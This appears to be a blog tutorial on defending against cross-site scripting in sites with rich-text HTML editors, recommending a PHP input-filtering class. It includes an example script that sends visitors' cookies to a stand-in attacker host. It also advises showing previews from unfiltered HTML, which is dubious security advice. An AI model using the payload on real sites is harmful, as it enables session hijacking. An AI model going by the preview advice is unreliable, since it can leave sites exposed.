Avoiding XSS security attacks to sites that use HTML editors

HTML Editors

HTML editors are special form fields that allow Web site users to visually edit (WYSIWYG) rich text content formatted with HTML tags. HTML editors are powerful, but without proper security care, sites may be abused.

The W3C HTML standards do not support HTML editors explicitly, but it has been a while since either Internet Explorer, Mozilla family browsers and other browsers start coming with built-in extensions that implement HTML editors.

There are already several packages, like FCKEditor, TinyMCE, Xinha, etc., that take advantage of these extensions to provide browser independent solutions to integrate HTML editors in form based Web pages.

Cross-site scripting: XSS

HTML editors are great. However, care must be taken to avoid security abuses. An application that uses HTML editors, expects that the submitted HTML content comes correctly formatted and well-formed. That happens when real users use real browsers to edit the content.

However, an attacker may create a program that pretends to be a real browser and submit specially crafted HTML with Javascript that may open security holes.

One of the most common types of attack is known as cross-site scripting – XSS. This kind of attack consists in submitting HTML with Javascript code that may be used to send to another site the cookies that a browser is sending to the current site.

Consider for instance the following HTML excerpt with malicious JavaScript:

<script>;
 document.write('<script src="http://www.abuser.com/get_cookies?cookies='
 document.write(document.cookie)
 document.write('"></script>');
</script>

If an attacker submits HTML like this, for instance to publish an article, and the site accepts it without discarding the harmful Javascript code, when the article gets published the site cookies of all users that access the article page will be sent to the abuser site.

The problem is that cookies are often used as session identifiers of logged in users. If somebody steals the cookies that your browser uses to access a domain, that person may be able to access the same site on your behalf and abuse from the privileges that you have.

Depending on what each site provides, the consequences can be catastrophic. Imagine if you are accessing an e-commerce site that stores information about your credit card and displays it in your profile pages. An attacker may steal that information and cause you financial troubles.

Of course the security of most e-commerce sites is not so weakly implemented, but you can always imagine myriad of situations on which a cross-site scripting exploits may cause major headaches.

Avoiding XSS security attacks

To avoid the problem, first you need to detect when it is happening, and second do something about it.

To detect when the problem is happening, you need to somehow parse HTML document and locate unsafe HTML constructs. That includes not only <script> tags, but also other exploitable tags and attributes that trigger Javascript execution, like for instance event handling attributes such as onload, onclick, etc..

As you may imagine, detecting all circumstances that may allow eventual XSS exploits is not an easy task. Fortunately, there are some ready to use solutions provided by people that have been working on this subject for while.

One of the most interesting solutions I have came across is the PHP Input Filter class. It was developed by Daniel Morris with contributions from Gianpaolo Racca, Ghislain Picard, Marco Wandschneider, Chris Tobin and Andrew Eddie.

This class was nominated for the PHP Programming Innovation Award edition of May 2005 of the PHPClasses site.

It takes a string of HTML data as input and returns the HTML cleaned from harmful tags attributes.

Here is an example of usage:

<?php
	
// include class file

require_once("class.inputfilter_clean.php");
	
if(IsSet($_POST["input"]))

{
  // Create the class object
  $myFilter = new InputFilter();
  // process input
  $result = $myFilter->process($_POST["input"]);
}
?>

Do not let an attacker realize he failed

If the cleaned HTML is different from the original, your site is being attacked. In that case you can do different things.

I recommend that you pretend that the attack was not detected. Just present the same pages as if the content was accepted. The reason for this is to not let the attacker determine whether he succeeded or failed.

What happens is that it is very hard if possible at all provide 100% full proof solutions. You may implement security measures that protect you from types of attacks that are known today. But in the future there may always be new forms of attack for which you are not prepared yet.

If you expose any information that may let the attacker detect whether the spoofed HTML was filtered or not, you may be helping him to figure how your filter works and how to bypass it with a different attack method.

Lets say you have for instance a site that publishes articles submitted by untrusted users. If your site exhibits a preview of the article during the submission, do not use the filtered HTML to display the preview.

Use only the original HTML. If the attacker is attempting an XSS attack, no harm will happen because only the cookies of the attacker session will be sent to the remote attacker site.

When the harmful HTML is finally submitted, you can discard the submission. Just present the same successful submission message, as if the article was accepted. It is also interesting to log attack attempts for further study.